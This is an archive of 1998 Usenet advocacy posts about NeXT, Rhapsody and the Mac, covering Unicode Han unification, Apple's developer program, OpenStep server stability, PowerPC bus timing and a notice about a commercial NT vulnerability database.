Content-Type: text/plain; charset=US-ASCII
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Henry McGilton <henry@trilithon.com> said:
Lawson English said:
> * Hangul users live in Japan, China, Korea, and probably
> * other Asian countries.
>
> Most of the Hangul users in the world are in Korea --- I doubt
> there are that many in Japan, and even fewer in China, and as for
> "other Asian countries", I doubt there are many in Vietnam,
> Cambodia, Thailand, Malaysia, Indonesia, Myanmar, or the Phillippines.
> And probably close to zero Hangul users in India.
> * In other words, about 1/4-1/3 of all the people in the
> * world would be potential beneficiaries of this.
> Notice the giant leap from the script used by just
> two relatively small parts of Asia to two billion.
> If this is rigourous reasoning, I'll take hallucination.
Notice the factual error from the start of your response where you insist
that *I* am clueless. In Unicode, Hang is THE standard encoding for Asian
languages. If my use of "Hangul" instead of "Han" threw you, I'm sorry, but
in Unicode (which NeXTstep and Rhapsody both use), the encodings are the
same, so my throwing in a "gul" shouldn't have mattered. From the official
Unicode webpage:
<http://www.asca.com/unicode.html>
[note that the Unicode solution may not work well when quoting Korean,
Japanese and Chinese in the same sentence since the same encoding is used
differently in differently langauges. GX typography handles this well.
Unicode doesn't, but Unicode is the only solution available in Rhapsody
(this serious defect in the implementation of Unicode is known as the
"Unified Hangul Problem" where you CANNOTadequately handle multiple
Hangul-using languages with different meanings and orderings for the same
Hangul glyph in the same text using Unicode's strategy -the Asian community
is NOT impressed and is working on their own solution. GX could accomidate
it, according to Dave Opstad of Apple. I'm not so sure about Rhapsody,
which only uses Unicode encodings and apparently has no mechanism for
making distinctions between one country's use of the Unicode Han-encoding
and another's use of the same encoding in a different way]
+++++
[...]
Han Unification
One major challenge in creating code elements is accommodating the many
thousands of ideographs used in Chinese, Japanese, and Korean text(called
CJK text for short). The term "ideograph" literally means "concept
writing". In practice, an ideograph is a character that often represents a
single concept: one character for knife, another for sun, and so on for
thousands and thousands of words. The blanket term for these ideographs is
"Han", referring to Han dynasty, which first codified them. In China, they
are called Hanzi; in Korean,Hanja; and in Japan, Kanji.
Current national standards for ideographs in Japan, China, Korean, and
Taiwan define a total of more than 31,000 ideographs used for written text
in these countries. Because these ideographs originated in China and spread
over a thousand years to Japan and Korean, a large majority of the
ideographs are identical from one language to the next. For example, the
single ideograph below represents separate words in Chinese, Japanese, and
Korean, all with the same meaning (although not all identical ideographs
have the same meaning).
[ASCII illustration snipt]
The CJK Joint Research Group has identified and categorized over 11,000
duplicate ideographs in a process call Han unification. By minimizing the
duplication of identical ideographs in separate languages, the Han unified
character set represents all of the standard Han symbols with fewer than
21,000 unique characters.
The Unicode standard uses the Han unified character set as the central code
elements for Chinese, Japanese, and Korean. The unified character set
allows the full Han idiographic set to fit into the Unicode standard's
available code points, and allows successful encoding of CJK text. Because
the Unicode standard encodes only unique ideographs and not their associate
meaning, it does not matter whether an encoded ideograph came from Chinese,
Japanese, or Korean text, just as it does not matter whether an "a" is used
in German, Italian, or Dutch: the text processing program is responsible
for rendering text in the correct language.
++++++
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 12 Apr 1998 14:56:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1568785-7D696@206.165.43.142>
References: <maury-1204981641220001@ts14-10.tor.istar.ca>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
> Canadian Dollars. I believe it's about 1.44CDN to the US right now,
and
> unlikely to change by any large degree by 2001 (it's been in that range
> for over 20 years now).
>
You're probably right, but look what happened to the Peso: it was 8
cents/per for many decades and now it is less than a penny/per. Don't
assume future stability in monetary exchange rates based on the past
stability in the exchange rate itself. I can pretty much guarantee that
you'll eventually lose your shirt if you do.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gutkneco+news@lirmm.fr (Olivier Gutknecht)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 01:10:50 +0100
Organization: Elevage d'agents nourris au grain
Message-ID: <1d7efs4.14d33ptutamabN@ppgutkneco.lirmm.fr>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ylaporte-0804982005030001@139.103.176.79> <6gh9cm$oop$7@ironhorse.plsys.co.uk> <joe.ragosta-0904980643360001@elk33.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
> Jordan later commented on RDL that Apple is trying to make the educational
> program very attractive.
Sure, but that is not an official word from Apple...
Another problem about the forthcoming (?) edu programs is about non-US
educational/research communities. I hope that worldwide educational
institutions will be able to enroll. Given the current status of
European Developer Relations, I am a little bit dubious.
Ol.
--
Olivier Gutknecht ... Laboratoire d'Informatique, Robotique
gutkneco@lirmm.fr ... et Micro-Electronique de Montpellier.
From: gutkneco+news@lirmm.fr (Olivier Gutknecht)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 13 Apr 1998 01:10:49 +0100
Organization: Elevage d'agents nourris au grain
Message-ID: <1d7efim.1i8t00812ucbmsN@ppgutkneco.lirmm.fr>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6glos8$oop$17@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> Apple has not been cashing anyone's checks on new enrollments or renewals
> for over six months. Everyone who has had to renew or join the program in
> the last six months has gotten it gratias.
Definitively false. Apple cashed my renewal three weeks ago.
Ol.
--
Olivier Gutknecht ... Laboratoire d'Informatique, Robotique
gutkneco@lirmm.fr ... et Micro-Electronique de Montpellier.
From: hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 12 Apr 1998 18:20:52 GMT
Organization: N.eXTers W.ith A.ttidude
Message-ID: <6gr0m4$eq$1@goof.de.uu.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com>
<1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com>
<6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com>
<1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com> <6gittr$6j$4@anvil.BLaCKSMITH.com>
<19980409224411642783@dialup-202.def.oleane.com> <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com>
<6gm1of$7j4$6@anvil.BLaCKSMITH.com> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com>
<6gm9o0$evt$1@crib.bevc.blacksburg.va.us> <1d7az1o.4w7wfqr7ig3sN@rhrz-isdn3-p23.rhrz.uni-bonn.de>
<6gq920$oop$21@ironhorse.plsys.co.uk> <1d7dqhy.19vqngyw020lcN@rhrz-isdn3-p18.rhrz.uni-bonn.de>
Mime-Version: 1.0
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Michael Schuerig wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > There is an acutre shortage of WebObjects developers at the moment.
> > Anyone who can develop WebObjects apps is a significant way towards
> >being a Rhapsody developer. If you're a qualified WebObjects developer
> >we may have an opening for you soon.
Hey mmalc, don't try to snatch our people!! :)
OTOH..what's the pay at P&L? I haven't been to the UK for a while. $:)
> I'm not (yet?). And I'm not sure of how much help it would be -- over
> here in Germany. I do know exactly one company here that develops WO
> solutions (Hi Holger!). It would be interesting, though, to have a job
> market for Rhapsody & related technologies.
<appearing from a shadow> Who called?
Well..there's another company that uses WOF, but they won't publicly
admit it. OTOH, we *did* offer you what you wanted - full time Rhapsody
or YB development in a cool team - your decision..
The offer is still open.
> That brings me to my original point: I would appreciate it very much if
> the uphill programming of small developers would be higher valued. In
> particular the work of those over here in (continental) Europe. The
Generally, people from Europe are very sought after - in the US!
I wonder why that is. :)
> Apple market share is far worse in Germany -- and compared to german
> Apple marketing Apple-USA is highly competent.
That's unfortunately true.
hh
--
hhoff"at"ragnarok.en.uunet.de (NeXTMail, MIME)
'Where I come from it's important to develop stuff that doesn't suck.'
-- David Young <dwy"at"ace.net>
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Sun, 12 Apr 1998 18:48:53 -0700
Organization: Trilithon Research and Trading
Message-ID: <35316F05.8388287B@trilithon.com>
References: <3530F643.DEADA2A5@trilithon.com> <B1568695-79E30@206.165.43.142>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Lawson English wrote:
* Notice the factual error from the start of your response
* where you insist that *I* am clueless. In Unicode, Hang
"Hang" ? That's a new one on me.
* is THE standard encoding for Asian languages. If my use
* of "Hangul" instead of "Han" threw you, I'm sorry, but
* in Unicode (which NeXTstep and Rhapsody both use), the
* encodings are the same, so my throwing in a "gul" shouldn't
* have mattered. From the official Unicode webpage:
Sure it matters. Here we are again. When somebody challenges you
on a point, you slide around to some other position. Do you really
not understand the difference between Hangul the syllabic script
and Hanja (Hanzi, Kanji) the ideographic notation?
* (this serious defect in the implementation of Unicode is
* known as the "Unified Hangul Problem"
That's the "Han Unification Problem" and has nothing to do with
Hangul the script.
* One major challenge in creating code elements is
* accommodating the many thousands of ideographs used
* in Chinese, Japanese, and Korean . . . .
OK --- great, so you can read the UniCode books. What have the
ideographs have to do with the Hangul script, which is where the
discussion started? There's no unification issue with Hangul,
any more than there's a unification issue with Hiragana. They're
completely separate animals.
You started off talking about Hangul tri-glyphs some time back
and how that would benefit a couple billion people. When I
pointed out that Hangul is used only by around 50 million
people, most of them in Korea, you ended up slipping around
to babbling about Han unification, trying to pretend that
that's what you really meant in the first place.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
Subject: Re: Rhapsody ready for mission critical deployment?
From: "Robert A. Decker" <comrade@umich.edu>
Newsgroups: comp.sys.next.advocacy
References: <6goa2d$j60$1@ha2.rdc1.sdca.home.com>
MIME-Version: 1.0
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Date: Mon, 13 Apr 1998 03:01:11 GMT
NNTP-Posting-Date: Sun, 12 Apr 1998 23:01:11 EST
On Sat, Apr 11, 1998 12:42 PM, Rex Riley <mailto:rriley@yahoo.com> wrote:
> Get going on OPENSTEP now. OPENSTEP is MCCA ready.
Are you sure about that? I was told that there is a kernel panic after a
certain number of connections (someone even gave the reference in
NeXTAnswers) and this was the reason OpenStep didn't make a good webserver
(even for WebObjects stuff).
rob
--
<mailto: "Robert A. Decker" comrade@umich.edu>
<http://hmrl.cancer.med.umich.edu/Rob/index.ssi>
Programmer Analyst - Health Media Research Lab
University of Michigan Comprehensive Cancer Center
"Get A Life" quote #17: "What's with him? I haven't seen him this happy
since he had his picture taken at the auto show with Adam West."
-Bob Elliott about son Chris Elliott in "The Prettiest Week of My Life"
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody ready for mission critical deployment?
Date: 13 Apr 1998 04:06:08 GMT
Organization: @Home Network
Message-ID: <6gs2vg$hfm$1@ha2.rdc1.sdca.home.com>
References: <6goa2d$j60$1@ha2.rdc1.sdca.home.com> <B156F906-C32E82@141.214.128.36>
Mime-Version: 1.0
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Cc: comrade@umich.edu
In <B156F906-C32E82@141.214.128.36> "Robert A. Decker" wrote:
> On Sat, Apr 11, 1998 12:42 PM, Rex Riley <mailto:rriley@yahoo.com> wrote:
> > Get going on OPENSTEP now. OPENSTEP is MCCA ready.
>
> Are you sure about that? I was told that there is a kernel panic after a
> certain number of connections (someone even gave the reference in
> NeXTAnswers) and this was the reason OpenStep didn't make a good webserver
> (even for WebObjects stuff).
>
>
That's true... the number of connections is pretty high though. It's
somewhere around ~170,000 connections before you have to reboot the server.
On a high traffic site that server is good for a couple of days or so.
-r
Rex Riley
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 13 Apr 1998 03:47:50 GMT
Organization: Digital Fix Development
Message-ID: <6gs1t6$bm7$1@news.digifix.com>
References: <3530F643.DEADA2A5@trilithon.com> <B15670BD-27C36@206.165.43.142>
In-Reply-To: <B15670BD-27C36@206.165.43.142>
On 04/12/98, "Lawson English" wrote:
>Henry McGilton <henry@trilithon.com> said:
>
>> Providing tri-glyph support (which already exists in the OpenStep
>> Text object suite if you would get off your high horse long enough
>> to take a look) for text doesn't necessarily mean that the
>> half of the world population who currently lack clean water will
>> immediately rush out to buy a computer and associated software.
>
>Sure, but
>
>1) we were talking about supporting realt-time text-on-a-path editing
for
>desktop publishing (Sanskrit and other languages also have the same
issues)
>
Something that every single Application does of course..
NOT.
The VAST MAJORITY of apps will NEVER NEED TO DO THIS.
Does that mean that its impossible with DPS? Nope.
>and
>
>2) The *government* of the countries that use languages that have
these
>kinds of issues (it's more than just Hangul and Sanskrit) are going
to
>endorse standards that support them, even if the average peasant
can't
>afford it. Whatever the government endorses will eventually trickle
down
>into the economy.
>
Oh, so if the Peasant Government endorses it, the peasants
will somehow find the fonts?
Sure Lawson...
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Windows Security Holes
Date: Sun, 12 Apr 98 23:28:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8ED0580.09B60068AD.uuout@relaynet.org>
104 Windows NT vulnerabilities
Everything you ever wanted to know about security holes, for a price
Risks 19.65 [http://catless.ncl.ac.uk/Risks/19.65.html#subj4] carries a
notice from Shake Communications Pty Ltd [http://www.shake.net/], an
Australian security firm, advertising their subscription- based
vulnerabilities database. They claim to list over 3,000 known security holes,
updated daily, with solutions where available, on 33 OSs, 44 applications,
and 74 OS commands.
Shake claims to list 104 known vulnerabilities in the NT operating system,
but to see the details you need to subscribe to their database, which costs
AU $3750 for a 6-month subscription, or US $2522 [http://www.yi.com/home/
BerensJean-Claude/currency.htm].
Shake's competition consists mostly of free vulnerability databases.
For example, the ISS X-Force database [http://www.iss.net/xforce/] lists 52
vulnerabilities for Win95/NT; it is searchable and you can retrieve details
of any vulnerability.
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: Jonathan Hendry <jhendry@subsequent.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 13 Apr 1998 05:12:30 GMT
Organization: Steel Driving Software, Chicago
Sender: Jonathan Hendry <jhendry@isdnjhendry.cmg.fcnbd.com>
Message-ID: <6gs6ru$lin@sjx-ixn5.ix.netcom.com>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6gpmsk$esn$1@usenet48.supernews.com> <yl3zphrweb9.fsf@shell8.ba.best.com> <stevehix-1204981350530001@ip25.safemail.com>
Steve Hix <stevehix@safemail.com> wrote:
> In article <yl3zphrweb9.fsf@shell8.ba.best.com>, Robert Nicholson
> <steffi@shell8.ba.best.com> wrote:
> > Seriously though. Where's the mass media reporting this story? No where.
> San Jose Mercury News appears to be part of the mass media...
> At least three major local radio stations carried the story during
> the past couple of days (two ACB affiliates, one CBS), and the San
> Francisco area is considered a major radio market.
NPR's All Things Considered ran a story on Friday, and in the lead-in,
mentioned the magic word 'unethical', though they didn't really
cover that angle deeply. It was worthwhile just having the word
mentioned in the context of Microsoft.
It was also mentioned on Harry Shearer's 'Le Show' tonight. It's
carried on lots of Public Radio stations, as well as on Armed
Forces Radio and the internet.
- Jon
From: markeaton@mindspring.canned-meat-filter.com (Mark Eaton)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Sun, 12 Apr 1998 22:28:44 -0700
Organization: MindSpring Enterprises
Message-ID: <markeaton-1204982228450001@user-38lcjs5.dialup.mindspring.com>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6gpmsk$esn$1@usenet48.supernews.com> <yl3zphrweb9.fsf@shell8.ba.best.com>
In article <yl3zphrweb9.fsf@shell8.ba.best.com>, Robert Nicholson
<steffi@shell8.ba.best.com> wrote:
> Seriously though. Where's the mass media reporting this story? No where.
The LA Times broke the story, afterwards it was reprinted via newswire in
the Seattle Times and the San Jose Mercury (and probably elsewhere, but
those were the three I saw it in). News.com had the LA Times article
linked off the main page most of the day Friday 4/10.
Additionaly it was a news item on NPR in the morning and evening news reports.
Given those leads I'm sure you can do the research necessary to track down
specific URLs...
-mark
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 13 Apr 1998 10:15:48 GMT
Organization: P & L Systems
Message-ID: <6gsokk$oop$32@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3>
<352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com>
<6ggiu7$auu$1@vixen.cso.uiuc.edu> <352c857a.2678525846@news.u-psud.fr>
<joe.ragosta-0904980645050001@elk33.dol.net> <6giria$nng$1@ifaedi.insa-lyon.fr>
<6gql7a$oop$25@ironhorse.plsys.co.uk> <1d7e4y4.tc8jk63rsdbcN@dialup-157.def.oleane.com>
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Cc: bl003@dial.oleane.com
In <1d7e4y4.tc8jk63rsdbcN@dialup-157.def.oleane.com> Benoit Leraillez wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> > Umm, in which case what's wrong with the Developer Mailing? Which is $50
> > *cheaper* than the old program?
>
> No seeds.
>
I was asking "Bluedays"...
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 13 Apr 1998 10:19:55 GMT
Organization: P & L Systems
Message-ID: <6gsosb$oop$34@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6ge6hh$9mv@netaxs.com>
<352BA869.4901@home.sleeping> <6gqmki$oop$31@ironhorse.plsys.co.uk>
<1d7e518.1pgu5461j6wps0N@dialup-157.def.oleane.com>
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Cc: bl003@dial.oleane.com
In <1d7e518.1pgu5461j6wps0N@dialup-157.def.oleane.com> Benoit Leraillez
wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > So what's wrong with the Developer Mailing?
> > http://developer.apple.com/programs/mailing.html
> > At $200 it seems to give you exactly what you want, and is $50 *cheaper*
than
> > the previous program...
>
> No seeds.
>
OK, so waht do you need seeds for?
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 13 Apr 1998 10:17:33 GMT
Organization: P & L Systems
Message-ID: <6gsont$oop$33@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<6glos8$oop$17@ironhorse.plsys.co.uk> <1d7efim.1i8t00812ucbmsN@ppgutkneco.lirmm.fr>
Mime-Version: 1.0
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Cc: gutkneco+news@lirmm.fr
In <1d7efim.1i8t00812ucbmsN@ppgutkneco.lirmm.fr> Olivier Gutknecht wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> > Apple has not been cashing anyone's checks on new enrollments or renewals
> > for over six months. Everyone who has had to renew or join the program in
> > the last six months has gotten it gratias.
>
> Definitively false. Apple cashed my renewal three weeks ago.
>
Please get the attribution right: I forwarded that from someone at Apple.
I'll have to check with him to see what the score is on this, since clearly
he's misinformed.
mmalc.
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Sun, 12 Apr 1998 14:59:25 -0500
Organization: Jump Point Communications, Inc.
Message-ID: <tim-1204981459310001@jump-k56flex-0101.jumpnet.com>
References: <6go69q$8l1$3@hecate.umd.edu> <352FD2BF.50693172@adr.dk>
In article <352FD2BF.50693172@adr.dk>, faster@adr.dk wrote:
| I must say, that I also looked very confused at "100MHz was 6.6nS".
| 1 1
| ---------- = ------------- = 0.000,000,010 = 10nS.
| 100MHz 100,000,000
|
| So where do we suddenly loose 3.4 nS ? I couldn't get this to match.
Setup and hold/clock->q times at both ends of the interface will eat into
the nominal 10ns cycle time.
Take a look at the AC timings for IBM's 100MHz SDRAM
(http://www.chips.ibm.com/products/memory/03K2149/), for example:
Tac, the access time for data is 9ns, meaning that the new data is
available at the memory pins 9ns into the cycle, leaving 1ns remaining in
the cycle. The data is held for 3ns after the rising edge of the next
clock, for a 4ns availability window.
If the processor setup and hold times look similar to the memory's setup
and hold times, then we see that the data input setup time is 3ns.
Whoops, we only have 1ns in the current cycle left, but we need the data
stable for 3ns before the rising edge of the clock. So we add 2ns to the
clock cycle time to allow the setup requirements to be met, giving us a
12ns cycle (83.3MHz).
If the SDRAM timings all scaled linearly with the rated frequency, then
for a 100MHz bus operation (with 3ns setup required), we have to have data
available less than 7ns into the cycle, so we would need something like
130MHz SDRAM (7.6ns cycle).
One could play tricks to try to run the bus at 100MHz, like latching the
data (perhaps with a skewed clock) and sending it with better timing to
the processor in the next cycle. This will add an extra cycle of latency
for the initial access, so the timing would look like:
6-1-1-1 (83.3MHz)
7-1-1-1 (100MHz)
9 cycles @83.3MHz = 108ns
10 cycles @100MHz = 100ns (8% faster)
--
-- Tim Olson
From: Web Surfer <surfer@www.web>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.programmer
Subject: Re: first day with OS
Date: Sun, 12 Apr 1998 15:37:58 -0400
Organization: WWW
Message-ID: <35311816.6449@www.web>
References: <01bc462d$87ca8380$40f0bfa8@davidsul>
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To: NeXT Newbie <macghod@concentric.net>
What OS is that? OS/2? The old NeXT OS? What?
NeXT Newbie wrote:
>
> Some impressions of OS 4.2
> 1) This OS sure was designed for big monitors! I have a 17 inch and it
> seems to small. Seems like you would want at least a 20 inch monitor
> 2) The mouse really annoys me. It reminds me of when I first used windows
> 3.1, I was like god I hate how jerky the mousee is. The mouse movement in
> OS 4.2 seems like how it was in windows 3.1, windows 95 definitely seems
> much better.
> 3) How do you connect to the internet with ppp?
> 4) once I get up and going with ppp, what do I use for usenet?
> 5) where is the option to change the monitors resolution and bits of color?
From: Web Surfer <surfer@www.web>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.programmer
Subject: Re: first day with OS
Date: Sun, 12 Apr 1998 15:38:14 -0400
Organization: WWW
Message-ID: <35311826.7AD7@www.web>
References: <01bc462d$87ca8380$40f0bfa8@davidsul>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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What OS is that? OS/2? The old NeXT OS? What?
NeXT Newbie wrote:
>
> Some impressions of OS 4.2
> 1) This OS sure was designed for big monitors! I have a 17 inch and it
> seems to small. Seems like you would want at least a 20 inch monitor
> 2) The mouse really annoys me. It reminds me of when I first used windows
> 3.1, I was like god I hate how jerky the mousee is. The mouse movement in
> OS 4.2 seems like how it was in windows 3.1, windows 95 definitely seems
> much better.
> 3) How do you connect to the internet with ppp?
> 4) once I get up and going with ppp, what do I use for usenet?
> 5) where is the option to change the monitors resolution and bits of color?
From: craig_isaacs@dantz.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Mon, 13 Apr 1998 02:45:32 -0600
Organization: Dantz Development Corporation
Message-ID: <6gsfqs$8v$1@nnrp1.dejanews.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <trev-0904981206050001@nas-sa-p5.usc.net> <352d5190.286081406@news.sunflower.com> <joe.ragosta-0904981940420001@elk64.dol.net> <edremy-ya02408000R0904981710030001@nnrp.usc.edu> <6glgl4$jrn$1@nnrp1.dejanews.com> <edremy-ya02408000R1004981053140001@nnrp.usc.edu>
In article <edremy-ya02408000R1004981053140001@nnrp.usc.edu>,
edremy@chem1.usc.edu (Eric Remy) wrote:
>
> In article <6glgl4$jrn$1@nnrp1.dejanews.com>, craig_isaacs@dantz.com wrote:
> > In article <edremy-ya02408000R0904981710030001@nnrp.usc.edu>,
> > edremy@chem1.usc.edu (Eric Remy) wrote:
> >
> > > ... You wrote earlier that you use Retrospect. Do
> > > you verify every tape that's written by reinstalling on a blank HD? This
> > > probably isn't necessary. ...
> >
> > Just FYI - If you leave Retrospect's verify option on (set to the default),
> > Retrospect will verify the data integrity on the media by using it's restore
> > routines. So, for every file on the media, Retrospect reads it back into
> > memory and compares it to the original file. If they're the same file, great.
> > If not, Retrospect writes an error to the log.
>
> Most backup programs do this. (Hell, even the bundled NT one does, and
> it's a piece of junk in almost every other way.) This doesn't help user
> error though, if someone screws up the settings and doesn't back up all the
> files. (*Blushes*) Doesn't help tapes that someone lays a magnet on
> either.
Believe it or not, if you dig down a bit on the other programs, you'll see
that they only look at the file headers. They don't actually verify that the
files written are the same as the ones backed up. There's a huge difference
between scanning for file headers and actually verifying that each file is
actually backed up by attempting a restore.
> > Therefore, one wouldn't need to check *every* tape as long as verify is left
> > on. (Of course, we also recommend that folks periodically test their backup
> > system by actually restoring files.)
>
> Smart move.
>
> > Craig Isaacs
> > Dantz Development Corpo
>
> BTW, I love the idea of automatic laptop backup whenever a user plugs into
> a LAN. I'll remember your names if I ever have to support a lot of
> laptops.
Sounds great!
Craig
>
> --
> Eric R. edremy@chem1.usc.edu
> Director of Instructional Computing, USC Chemistry
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 13 Apr 1998 11:07:26 GMT
Organization: P & L Systems
Message-ID: <6gsrle$oop$35@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com>
<1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com>
<6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com>
<1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com> <6gittr$6j$4@anvil.BLaCKSMITH.com>
<19980409224411642783@dialup-202.def.oleane.com> <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com>
<6gm1of$7j4$6@anvil.BLaCKSMITH.com> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com>
<6gm9o0$evt$1@crib.bevc.blacksburg.va.us> <1d7az1o.4w7wfqr7ig3sN@rhrz-isdn3-p23.rhrz.uni-bonn.de>
<6gq920$oop$21@ironhorse.plsys.co.uk> <1d7dqhy.19vqngyw020lcN@rhrz-isdn3-p18.rhrz.uni-bonn.de>
<6gr0m4$eq$1@goof.de.uu.net>
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Cc: hhoff@ragnarok.en.REMOVETHIS.uunet.de
In <6gr0m4$eq$1@goof.de.uu.net> Holger Hoffstaette wrote:
> Michael Schuerig wrote:
> > mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > > There is an acutre shortage of WebObjects developers at the moment.
> > > Anyone who can develop WebObjects apps is a significant way towards
> > >being a Rhapsody developer. If you're a qualified WebObjects developer
> > >we may have an opening for you soon.
>
> Hey mmalc, don't try to snatch our people!! :)
>
Hi Holger -- sorry, I didn't realise he was one of yours. :-)
[...]
> Generally, people from Europe are very sought after - in the US!
> I wonder why that is. :)
>
Europeans are, on average, better educated, more capable of independent
creative thought, and can speak English better... :-)
> > Apple market share is far worse in Germany -- and compared to german
> > Apple marketing Apple-USA is highly competent.
>
> That's unfortunately true.
>
Is Apple's market share really that low in Germany (I thought I'd heard
otherwise?)?
OTOH there is quite a strong ex-NeXT presence, isn't there? I thought
NeXT-to-you has a circulation of over 700? That's really quite a lot, all
things considered.
Best wishes,
mmalc.
Date: Mon, 13 Apr 1998 08:43:34 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-1304980843340001@wil89.dol.net>
References: <joe.ragosta-0804982109560001@elk62.dol.net> <B151824F-7635E@207.217.155.14> <6glpam$oop$18@ironhorse.plsys.co.uk>
In article <6glpam$oop$18@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> NOTE: FOLLOWUPS TO COMP.SYS.MAC.ADVOCACY,COMP.SYS.NEXT.ADVOCACY
>
> In <B151824F-7635E@207.217.155.14> "Brad Hutchings" wrote:
> >
> > mmalc, on the other hand (and to be a little picky here), is one of our new
> > NeXT friends. Believe me, if I were the slightest bit worried about Apple's
> > direction w.r.t. the technology I totally depend on for the future of my
